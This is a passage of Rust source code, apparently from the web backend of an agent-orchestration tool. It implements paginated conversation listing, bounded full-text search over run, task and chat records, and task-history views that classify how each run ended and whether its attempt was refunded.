5420                status: row.status,
5421                context: row.context.clone(),
5422                turns: row.turns.clone(),
5423                turn_count: row.turn_count,
5424                thinking: false,
5425                created_at: row.created_at,
5426                updated_at: row.updated_at,
5427            };
5428            row.thinking = ui.is_thinking(&id);
5429            Some(row)
5430        })
5431        .collect()
5432}
5433
5434async fn talks_page(
5435    State(ui): State<Arc<Ui>>,
5436    Query(q): Query<PageQuery>,
5437    headers: header::HeaderMap,
5438) -> ApiResult<Json<StorePage<TalkListView>>> {
5439    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5440        let (ids, next) = page_ids(&ui, true, q)?;
5441        Ok(Json(StorePage {
5442            rows: talk_rows(&ui, ids, &headers),
5443            next,
5444        }))
5445    })
5446    .await
5447}
5448
5449async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5450    blocking(move || {
5451        let tasks = ui.indexed_tasks()?;
5452        Ok(Json(TaskCountsView::from(
5453            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5454        )))
5455    })
5456    .await
5457}
5458
5459/// Most hits one search returns. The rest are counted in `total`.
5460const SEARCH_MAX_HITS: usize = 100;
5461/// Longest query, in characters, and most terms it is split into.
5462const SEARCH_MAX_QUERY: usize = 200;
5463const SEARCH_MAX_TERMS: usize = 8;
5464/// Characters of context kept before the first hit, and after it.
5465const SNIPPET_BEFORE: usize = 50;
5466const SNIPPET_AFTER: usize = 110;
5467
5468/// `?scope=runs|tasks&q=...`
5469#[derive(Debug, Deserialize)]
5470struct SearchQuery {
5471    #[serde(default)]
5472    scope: String,
5473    #[serde(default)]
5474    q: String,
5475}
5476
5477/// One piece of a snippet. `hit` pieces are what matched; the client renders
5478/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5479#[derive(Debug, Serialize, PartialEq, Eq)]
5480struct SnippetPart {
5481    text: String,
5482    hit: bool,
5483}
5484
5485#[derive(Debug, Serialize)]
5486struct SearchHit {
5487    id: String,
5488    /// The name of the field the snippet was cut from.
5489    field: String,
5490    snippet: Vec<SnippetPart>,
5491    /// The run's list row, so the page can apply its state / section / repo
5492    /// filters to a hit outside the loaded window. Absent for tasks and for a
5493    /// run record the list view cannot read.
5494    #[serde(skip_serializing_if = "Option::is_none")]
5495    run: Option<RunSummary>,
5496}
5497
5498#[derive(Debug, Serialize)]
5499struct SearchView {
5500    scope: String,
5501    q: String,
5502    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5503    hits: Vec<SearchHit>,
5504    /// Every match, hits beyond the cap included.
5505    total: usize,
5506    truncated: bool,
5507    /// Runs whose `run.json` could not be parsed at all. They were not
5508    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5509    unreadable: usize,
5510}
5511
5512/// The text leaves of a JSON document, with the name of the field each sits
5513/// under. Keys and numbers are skipped: they are structure, not prose.
5514fn text_leaves<'a>(
5515    value: &'a serde_json::Value,
5516    field: &'a str,
5517    out: &mut Vec<(&'a str, &'a str)>,
5518) {
5519    match value {
5520        serde_json::Value::String(s) => out.push((field, s)),
5521        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5522        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5523        _ => {}
5524    }
5525}
5526
5527/// Lower-case one character without changing how many there are, so indices
5528/// in the lowered text are indices in the original.
5529fn fold_char(c: char) -> char {
5530    c.to_lowercase().next().unwrap_or(c)
5531}
5532
5533/// Split a query into its lower-cased terms.
5534fn search_terms(q: &str) -> Vec<String> {
5535    let mut terms: Vec<String> = Vec::new();
5536    for t in q.split_whitespace() {
5537        let t = t.to_lowercase();
5538        if !terms.contains(&t) {
5539            terms.push(t);
5540        }
5541    }
5542    terms
5543}
5544
5545/// Match `terms` (all of them, anywhere in the document) against the leaves
5546/// and cut a snippet around the first hit. `None` when a term is missing.
5547fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5548    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5549    let mut first: Option<usize> = None;
5550    for term in terms {
5551        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5552        first = Some(first.map_or(at, |f| f.min(at)));
5553    }
5554    // The leaf holding the earliest hit of any term is where the snippet is cut.
5555    let (field, text) = leaves[first?];
5556    Some(SearchHit {
5557        id: String::new(),
5558        field: field.to_owned(),
5559        snippet: snippet_of(text, terms),
5560        run: None,
5561    })
5562}
5563
5564/// A window of `text` around the first occurrence of any term, whitespace
5565/// collapsed, with every term occurrence inside the window marked.
5566fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5567    let chars: Vec<char> = text.chars().collect();
5568    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5569    let needles: Vec<Vec<char>> = terms
5570        .iter()
5571        .map(|t| t.chars().map(fold_char).collect())
5572        .collect();
5573    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5574        let mut best: Option<(usize, usize)> = None;
5575        for n in needles.iter().filter(|n| !n.is_empty()) {
5576            // `to` bounds where a match may start; it may run past `to` (the
5577            // caller clips what it shows). A term longer than the field cannot
5578            // occur in it (it may live in another leaf of the document).
5579            if n.len() > chars.len() || to == 0 {
5580                continue;
5581            }
5582            let last = (to - 1).min(chars.len() - n.len());
5583            if from > last {
5584                continue;
5585            }
5586            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5587                && best.is_none_or(|(b, _)| i < b)
5588            {
5589                best = Some((i, i + n.len()));
5590            }
5591        }
5592        best
5593    };
5594    let Some((start, _)) = find(0, chars.len()) else {
5595        // Matched only through a case mapping that changes length: show the head.
5596        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5597        return vec![SnippetPart {
5598            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5599            hit: false,
5600        }];
5601    };
5602    let lo = start.saturating_sub(SNIPPET_BEFORE);
5603    let hi = (start + SNIPPET_AFTER).min(chars.len());
5604    let mut parts: Vec<SnippetPart> = Vec::new();
5605    let mut push = |s: &[char], hit: bool| {
5606        if s.is_empty() {
5607            return;
5608        }
5609        let text: String = s.iter().collect();
5610        match parts.last_mut() {
5611            Some(p) if p.hit == hit => p.text.push_str(&text),
5612            _ => parts.push(SnippetPart { text, hit }),
5613        }
5614    };
5615    if lo > 0 {
5616        push(&['\u{2026}'], false);
5617    }
5618    let mut at = lo;
5619    while at < hi {
5620        match find(at, hi) {
5621            Some((s, e)) => {
5622                push(&chars[at..s], false);
5623                // A match running past the window is shown up to its edge.
5624                let shown = e.min(hi);
5625                push(&chars[s..shown], true);
5626                at = shown;
5627            }
5628            None => {
5629                push(&chars[at..hi], false);
5630                at = hi;
5631            }
5632        }
5633    }
5634    if hi < chars.len() {
5635        push(&['\u{2026}'], false);
5636    }
5637    // Collapse whitespace (newlines in an instruction) without disturbing the
5638    // hit boundaries.
5639    let mut prev_space = false;
5640    for p in &mut parts {
5641        let mut out = String::with_capacity(p.text.len());
5642        for c in p.text.chars() {
5643            if c.is_whitespace() {
5644                if !prev_space {
5645                    out.push(' ');
5646                }
5647                prev_space = true;
5648            } else {
5649                out.push(c);
5650                prev_space = false;
5651            }
5652        }
5653        p.text = out;
5654    }
5655    parts.retain(|p| !p.text.is_empty());
5656    parts
5657}
5658
5659/// The search over `docs` (id, document), newest first, capped.
5660fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5661where
5662    I: IntoIterator<Item = (String, serde_json::Value)>,
5663{
5664    for (id, doc) in docs {
5665        let mut leaves = Vec::new();
5666        // The id is text an operator types too, and it is a map key on disk,
5667        // not a leaf.
5668        leaves.push(("id", id.as_str()));
5669        text_leaves(&doc, "", &mut leaves);
5670        if let Some(mut hit) = search_document(terms, &leaves) {
5671            view.total += 1;
5672            if view.hits.len() < SEARCH_MAX_HITS {
5673                hit.id = id;
5674                view.hits.push(hit);
5675            }
5676        }
5677    }
5678    view.truncated = view.total > view.hits.len();
5679}
5680
5681/// What a conversation is searched by: its list title and each turn's text,
5682/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5683/// (session ids, repo paths, usage, drafts) is part of the document.
5684///
5685/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5686fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5687    let opener = talk
5688        .title
5689        .as_ref()
5690        .filter(|t| !t.text.is_empty())
5691        .map(|t| t.text.as_str())
5692        .or_else(|| {
5693            talk.turns
5694                .iter()
5695                .find(|t| t.who == talk::Who::Operator)
5696                .map(|t| t.body.as_str())
5697        })
5698        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5699        .unwrap_or("");
5700    let title: String = if opener.chars().count() > 96 {
5701        opener.chars().take(95).chain(['\u{2026}']).collect()
5702    } else {
5703        opener.to_owned()
5704    };
5705    let turns: Vec<serde_json::Value> = talk
5706        .turns
5707        .iter()
5708        .map(|t| {
5709            let who = match t.who {
5710                crate::talk::Who::Operator => "operator",
5711                crate::talk::Who::Agent => "agent",
5712            };
5713            serde_json::json!({ who: t.body })
5714        })
5715        .collect();
5716    serde_json::json!({ "title": title, "turns": turns })
5717}
5718
5719/// Read-only full-text search over every run's `run.json`, every task or every
5720/// conversation (title and transcript).
5721///
5722/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5723/// record from an older schema still searches; only a file that is not JSON
5724/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5725async fn search_get(
5726    State(ui): State<Arc<Ui>>,
5727    Query(q): Query<SearchQuery>,
5728) -> ApiResult<Json<SearchView>> {
5729    let query = q.q.trim().to_owned();
5730    if query.is_empty() {
5731        return Err(ApiError::bad_request("q must not be empty"));
5732    }
5733    if query.chars().count() > SEARCH_MAX_QUERY {
5734        return Err(ApiError::bad_request(format!(
5735            "q is longer than {SEARCH_MAX_QUERY} characters"
5736        )));
5737    }
5738    let terms = search_terms(&query);
5739    if terms.len() > SEARCH_MAX_TERMS {
5740        return Err(ApiError::bad_request(format!(
5741            "q has more than {SEARCH_MAX_TERMS} terms"
5742        )));
5743    }
5744    let scope = q.scope;
5745    if scope != "runs" && scope != "tasks" && scope != "chats" {
5746        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5747    }
5748    blocking(move || {
5749        let mut view = SearchView {
5750            scope: scope.clone(),
5751            q: query,
5752            hits: Vec::new(),
5753            total: 0,
5754            truncated: false,
5755            unreadable: 0,
5756        };
5757        if scope == "runs" {
5758            let mut unreadable = 0;
5759            // One run.json is read, matched and dropped at a time; nothing
5760            // holds the whole history. The scan runs to the end even past the
5761            // hit cap so `total` and `unreadable` stay exact.
5762            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5763                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5764                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5765                    Some(v) => Some((id, v)),
5766                    None => {
5767                        unreadable += 1;
5768                        None
5769                    }
5770                }
5771            });
5772            search_docs(&terms, docs, &mut view);
5773            view.unreadable = unreadable;
5774            // Only the capped hits get a row: the filters need a run's state,
5775            // and reading every match would be the whole history again.
5776            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5777            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5778            for hit in &mut view.hits {
5779                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5780                    hit.run = summarize(
5781                        [state],
5782                        &open_runs,
5783                        &claimed,
5784                        &superseded,
5785                        |p| probe.borrow_mut().status(p),
5786                        |p| probe.borrow_mut().started_at(p),
5787                    )
5788                    .pop();
5789                }
5790            }
5791        } else if scope == "chats" {
5792            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5793            view.unreadable = unreadable;
5794            search_docs(
5795                &terms,
5796                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5797                &mut view,
5798            );
5799        } else {
5800            let docs = ui.queue.list().into_iter().filter_map(|t| {
5801                let mut v = serde_json::to_value(&t).ok()?;
5802                // `source` serialises as a tagged object; the label is what
5803                // the operator reads ("human", "chat@a1b2").
5804                if let Some(o) = v.as_object_mut() {
5805                    o.insert("filed_by".to_owned(), t.source.label().into());
5806                }
5807                Some((t.id, v))
5808            });
5809            search_docs(&terms, docs, &mut view);
5810        }
5811        Ok(Json(view))
5812    })
5813    .await
5814}
5815
5816/// One attempt in a task's history, as the task page lists it.
5817#[derive(Debug, Serialize)]
5818struct TaskRunView {
5819    /// 1-based position in [`Task::runs`].
5820    n: usize,
5821    id: String,
5822    short: String,
5823    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5824    kind: &'static str,
5825    /// The run's own status string; `None` when its record cannot be read.
5826    status: Option<&'static str>,
5827    /// Whether this build could read the run's record. Counted, never hidden.
5828    readable: bool,
5829    /// A verdict from a collapsed panel is provisional, never a decision.
5830    provisional: bool,
5831    /// What kind of attempt this was, in one line.
5832    description: String,
5833    /// How it ended and why the task moved on (or what it is doing now).
5834    outcome: String,
5835    created_at: Option<Timestamp>,
5836    pr: Option<String>,
5837    /// Why this pass ended, classified once; the flowchart is built from it.
5838    exit: RunExit,
5839    /// What the pass did to the task's attempt budget.
5840    attempt: AttemptCost,
5841    /// Edge wording for leaving this entry; names the recorded cause when
5842    /// there is one.
5843    exit_label: String,
5844    /// The position of a later entry for the same run: this entry is an
5845    /// earlier pass of it.
5846    later_pass: Option<usize>,
5847    /// Which pass over the run this entry is (1-based) and how many entries
5848    /// the task lists for the run. Counted from the list, so known even for
5849    /// a legacy record.
5850    pass_n: usize,
5851    passes_of_run: usize,
5852    /// What the run recorded about this pass; `None` for a record from before
5853    /// passes were kept, whose cause stays unknown.
5854    pass: Option<PassView>,
5855    /// The branch a review-only run reopened.
5856    branch: Option<String>,
5857    /// The badge word when it differs from `status` (`stale` / `superseded`);
5858    /// filled by the task route, which can see liveness and later attempts.
5859    badge: Option<String>,
5860}
5861
5862/// One recorded pass over a run, for the wire.
5863#[derive(Debug, Clone, PartialEq, Serialize)]
5864struct PassView {
5865    index: usize,
5866    resumed: bool,
5867    started_at: Timestamp,
5868    ended_at: Option<Timestamp>,
5869    /// `open`, `parked` or `unrecorded`.
5870    end: &'static str,
5871    cause: Option<crate::run::ParkCause>,
5872    /// One line: why it stopped, or that nobody recorded why.
5873    label: String,
5874    /// What the task recorded for this pass; `None` when it was not settled
5875    /// (or settled by a build that kept no record).
5876    cost: Option<crate::queue::PassCost>,
5877}
5878
5879impl PassView {
5880    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5881        use crate::run::PassEnd;
5882        let (end, cause, label) = match &p.end {
5883            None => ("open", None, "still open".to_owned()),
5884            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5885            Some(PassEnd::Unrecorded) => (
5886                "unrecorded",
5887                None,
5888                "stopped without recording why (a crash, a kill or a restart; not known)"
5889                    .to_owned(),
5890            ),
5891        };
5892        Self {
5893            index: p.index,
5894            resumed: p.resumed,
5895            started_at: p.started_at,
5896            ended_at: p.ended_at,
5897            end,
5898            cause,
5899            label,
5900            cost: settled.map(|t| t.cost),
5901        }
5902    }
5903}
5904
5905/// How one pass over a run ended, as far as the task's life is concerned.
5906#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5907#[serde(rename_all = "snake_case")]
5908enum RunExit {
5909    Unreadable,
5910    /// An earlier pass of a run id that appears again: it stopped short.
5911    Interrupted,
5912    Parked,
5913    MachineBlocked,
5914    QuotaStall,
5915    /// Stalled on a resumed pass with quota losses on record: they may be
5916    /// left over from an earlier pass, so whether this one was refunded is
5917    /// not knowable.
5918    ResumedQuotaStall,
5919    Merged,
5920    Ready,
5921    Superseded,
5922    /// The change was already on the base under other commits: the task
5923    /// finished without this run landing anything.
5924    AlreadyInBase,
5925    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5926    Stalled,
5927    /// Blocked / no-op with a pull request left open: held for a person.
5928    HeldWithPr,
5929    NoopHeld,
5930    /// Blocked or failed: the attempt is spent and the task retries or holds.
5931    Spent,
5932    InProgress,
5933}
5934
5935#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5936#[serde(rename_all = "snake_case")]
5937enum AttemptCost {
5938    Spent,
5939    Refunded,
5940    None,
5941    /// Cannot be told from the records that remain.
5942    Unknown,
5943}
5944
5945impl RunExit {
5946    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5947        let Some(s) = s else {
5948            return Self::Unreadable;
5949        };
5950        let status = s.status;
5951        if resumed_later {
5952            Self::Interrupted
5953        } else if s.parked {
5954            Self::Parked
5955        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
5956            Self::MachineBlocked
5957        } else if !status.done() {
5958            Self::InProgress
5959        } else if matches!(status, RunStatus::Merged) {
5960            Self::Merged
5961        } else if matches!(status, RunStatus::Ready) {
5962            Self::Ready
5963        } else if matches!(status, RunStatus::Superseded) {
5964            Self::Superseded
5965        } else if matches!(status, RunStatus::AlreadyInBase) {
5966            Self::AlreadyInBase
5967        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5968            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5969        {
5970            if resumed {
5971                Self::ResumedQuotaStall
5972            } else {
5973                Self::QuotaStall
5974            }
5975        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5976            Self::HeldWithPr
5977        } else if matches!(status, RunStatus::VerifiedNoop) {
5978            Self::NoopHeld
5979        } else if matches!(status, RunStatus::Stalled) {
5980            Self::Stalled
5981        } else {
5982            Self::Spent
5983        }
5984    }
5985
5986    fn cost(self) -> AttemptCost {
5987        match self {
5988            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
5989            Self::Merged
5990            | Self::Ready
5991            | Self::Stalled
5992            | Self::HeldWithPr
5993            | Self::NoopHeld
5994            | Self::Spent => AttemptCost::Spent,
5995            Self::InProgress => AttemptCost::None,
5996            Self::AlreadyInBase => AttemptCost::Refunded,
5997            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5998                AttemptCost::Unknown
5999            }
6000        }
6001    }
6002
6003    /// Short edge wording for leaving a run this way.
6004    fn edge_label(self, status: Option<&str>) -> String {
6005        match self {
6006            Self::Unreadable => "record unreadable".to_owned(),
6007            Self::Interrupted => "interrupted before the run finished".to_owned(),
6008            Self::Parked => "parked, attempt refunded".to_owned(),
6009            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6010            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6011            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6012            Self::Merged => "merged".to_owned(),
6013            Self::Ready => "ready, not merged".to_owned(),
6014            Self::Superseded => "superseded by a later attempt".to_owned(),
6015            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6016            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6017            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6018            Self::NoopHeld => "verified no-op".to_owned(),
6019            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6020            Self::InProgress => "in progress".to_owned(),
6021        }
6022    }
6023
6024    /// Does a task in `end` follow from a run that ended this way? When not,
6025    /// somebody closed or held the task by hand.
6026    fn explains(self, end: TaskStatus) -> bool {
6027        match self {
6028            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6029            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6030            Self::Unreadable | Self::Superseded | Self::Ready => true,
6031            _ => end != TaskStatus::Done,
6032        }
6033    }
6034}
6035
6036/// `GET /api/queue/{id}` - one task with every attempt it went through.
6037#[derive(Debug, Serialize)]
6038struct TaskDetailView {
6039    #[serde(flatten)]
6040    task: TaskView,
6041    /// Task override, or the default daemon budget when inherited.
6042    /// A separate loop's command-line limit is not visible from here.
6043    max_attempts: usize,
6044    history: Vec<TaskRunView>,
6045    /// Entries in `history`: passes over runs, not distinct runs and not
6046    /// attempts consumed (`task.attempts`).
6047    passes_total: usize,
6048    /// Distinct runs those passes belong to.
6049    runs_distinct: usize,
6050    flow: FlowView,
6051    /// Set for a follow-up task; see [`followup_origin`].
6052    followup_origin: Option<FollowUpOrigin>,
6053    /// How many entries of `history` could not be read.
6054    runs_unreadable: usize,
6055    /// Why the attempt count can be lower than the number of runs.
6056    attempts_note: &'static str,
6057}
6058
6059const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6060and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6061on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6062the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6063
6064/// The branch a review-only run reopened, read off the instruction
6065/// `Runner::open_review` writes.
6066fn review_branch_of(instruction: &str) -> Option<&str> {
6067    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6068    rest.split('`').next().filter(|b| !b.is_empty())
6069}
6070
6071/// Where an entry sits in a task's run list.
6072#[derive(Default)]
6073struct RunSlot<'a> {
6074    /// 1-based position.
6075    n: usize,
6076    /// The same run id appeared earlier: this pass resumed it.
6077    resumed: bool,
6078    /// Position of a later pass over the same run id, if any.
6079    resumed_later: Option<usize>,
6080    /// The previous distinct run and how it ended, for the retry note.
6081    prior: Option<(&'a str, RunStatus)>,
6082    last: bool,
6083    /// This pass as the run recorded it, when it did.
6084    pass: Option<&'a crate::run::RunPass>,
6085    /// What the task recorded when it settled this pass.
6086    settled: Option<&'a crate::queue::TaskPass>,
6087    /// 1-based position among the task's entries for this run, and their count.
6088    pass_n: usize,
6089    passes_of_run: usize,
6090}
6091
6092/// Describe one entry of a task's run list. Pure: everything it needs is on
6093/// the run and the task, so it is asserted without a server.
6094fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6095    let RunSlot {
6096        n,
6097        resumed,
6098        resumed_later,
6099        prior,
6100        last,
6101        pass,
6102        settled,
6103        pass_n,
6104        passes_of_run,
6105    } = at;
6106    let short = run::short_of(id).to_owned();
6107    let Some(s) = state else {
6108        return TaskRunView {
6109            n,
6110            id: id.to_owned(),
6111            short,
6112            kind: "unknown",
6113            status: None,
6114            readable: false,
6115            provisional: false,
6116            description:
6117                "This run's record could not be read by this build (written by a different \
6118                          magi, or removed), so what kind of attempt it was is unknown."
6119                    .to_owned(),
6120            outcome: String::new(),
6121            created_at: None,
6122            pr: None,
6123            exit: RunExit::Unreadable,
6124            attempt: AttemptCost::Unknown,
6125            exit_label: RunExit::Unreadable.edge_label(None),
6126            later_pass: resumed_later,
6127            pass_n,
6128            passes_of_run,
6129            pass: None,
6130            branch: None,
6131            badge: None,
6132        };
6133    };
6134    let branch = review_branch_of(&s.instruction);
6135    let kind = if resumed {
6136        "resume"
6137    } else if branch.is_some() {
6138        "review"
6139    } else if task.solo || s.candidates.len() == 1 {
6140        "solo"
6141    } else {
6142        "competition"
6143    };
6144    let mut description = match kind {
6145        "resume" => {
6146            format!("Resumed run {short}: the same run carried on instead of competing again.")
6147        }
6148        "review" => format!(
6149            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6150            branch.unwrap_or_default()
6151        ),
6152        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6153        _ => format!(
6154            "Competition: {} candidates judged blind.",
6155            s.candidates.len().max(1)
6156        ),
6157    };
6158    if !resumed && let Some((p, st)) = prior {
6159        description.push_str(&format!(
6160            " A retry: run {p} before it ended {}.",
6161            st.display_label()
6162        ));
6163    }
6164
6165    let status = s.status;
6166    let provisional = matches!(status, RunStatus::Stalled)
6167        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6168    let head = if resumed_later.is_some() {
6169        String::new()
6170    } else {
6171        match status {
6172            RunStatus::Merged => "Merged.".to_owned(),
6173            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6174            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6175            RunStatus::AlreadyInBase => {
6176                "Already in the base: this change landed under other commits, nothing was left to land."
6177                    .to_owned()
6178            }
6179            RunStatus::Stalled => {
6180                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6181                    .to_owned()
6182            }
6183            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6184            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6185            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6186            RunStatus::VerifiedNoop => {
6187                "Verified no-op: the candidates found nothing to change.".to_owned()
6188            }
6189            other if other.done() => format!("Ended {}.", other.display_label()),
6190            other => format!("In progress ({}).", other.display_label()),
6191        }
6192    };
6193    let view = pass.map(|p| PassView::of(p, settled));
6194    let recorded_end = view
6195        .as_ref()
6196        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6197    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6198        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6199        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6200        None => "whether its attempt was handed back was not recorded",
6201    };
6202    let pass_note = if passes_of_run > 1 {
6203        format!(
6204            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6205        )
6206    } else {
6207        String::new()
6208    };
6209    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6210        // The run recorded this pass's end when it happened.
6211        let cause = match v.end {
6212            "parked" => format!("It was stopped on purpose: {}.", v.label),
6213            _ => format!("It {}.", v.label),
6214        };
6215        format!(
6216            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6217            capitalise(cost_words)
6218        )
6219    } else if let Some(k) = resumed_later {
6220        // A run is only picked up again while it is unfinished, so an earlier
6221        // pass of a repeated id stopped short; the record keeps only the run's
6222        // latest status, which is left to the pass that carried it on.
6223        // Only the latest state is recorded: `parked` is cleared on resume
6224        // and `quota` accumulates across passes, so neither says why *this*
6225        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6226        let cause = if s.quota.is_empty() {
6227            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6228        } else {
6229            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6230        };
6231        format!(
6232            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6233        )
6234    } else if s.parked {
6235        match recorded_end.and_then(|v| v.cause.as_ref()) {
6236            Some(cause) => format!(
6237                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6238                cause.label(),
6239                cost_words
6240            ),
6241            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6242                .to_owned(),
6243        }
6244    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6245        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6246    } else if !status.done()
6247        || matches!(
6248            status,
6249            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6250        )
6251    {
6252        String::new()
6253    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6254        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6255    {
6256        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6257            .to_owned()
6258    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6259        " It left a pull request open, so the task was held for a person rather than retried."
6260            .to_owned()
6261    } else if matches!(status, RunStatus::VerifiedNoop) {
6262        " Held for a person to check the claim.".to_owned()
6263    } else if last {
6264        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6265    } else {
6266        " It spent an attempt, and the task moved on to the next run.".to_owned()
6267    };
6268    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6269    let mut attempt = exit.cost();
6270    let mut exit_label = None;
6271    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6272        let spent = match v.cost {
6273            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6274            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6275            None if resumed_later.is_some() => ", refund not recorded",
6276            None => ", attempt refunded",
6277        };
6278        attempt = match v.cost {
6279            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6280            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6281            None if resumed_later.is_some() => AttemptCost::Unknown,
6282            None => attempt,
6283        };
6284        if v.end == "parked" {
6285            exit = RunExit::Parked;
6286            exit_label = Some(match v.cause.as_ref() {
6287                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6288                    format!("parked for {}{spent}", c.label())
6289                }
6290                Some(c) => format!("parked ({}){spent}", c.label()),
6291                None => format!("parked{spent}"),
6292            });
6293        } else {
6294            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6295        }
6296    }
6297    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6298    TaskRunView {
6299        n,
6300        id: id.to_owned(),
6301        short,
6302        kind,
6303        status: Some(status.as_str()),
6304        readable: true,
6305        provisional,
6306        description,
6307        outcome: format!("{head}{why}"),
6308        created_at: Some(s.created_at),
6309        pr: s.pr.as_ref().map(|p| p.url.clone()),
6310        exit,
6311        attempt,
6312        exit_label,
6313        later_pass: resumed_later,
6314        pass_n,
6315        passes_of_run,
6316        pass: view,
6317        branch: branch.map(str::to_owned),
6318        badge: None,
6319    }
6320}
6321
6322fn capitalise(s: &str) -> String {
6323    let mut c = s.chars();
6324    c.next().map_or_else(String::new, |f| {
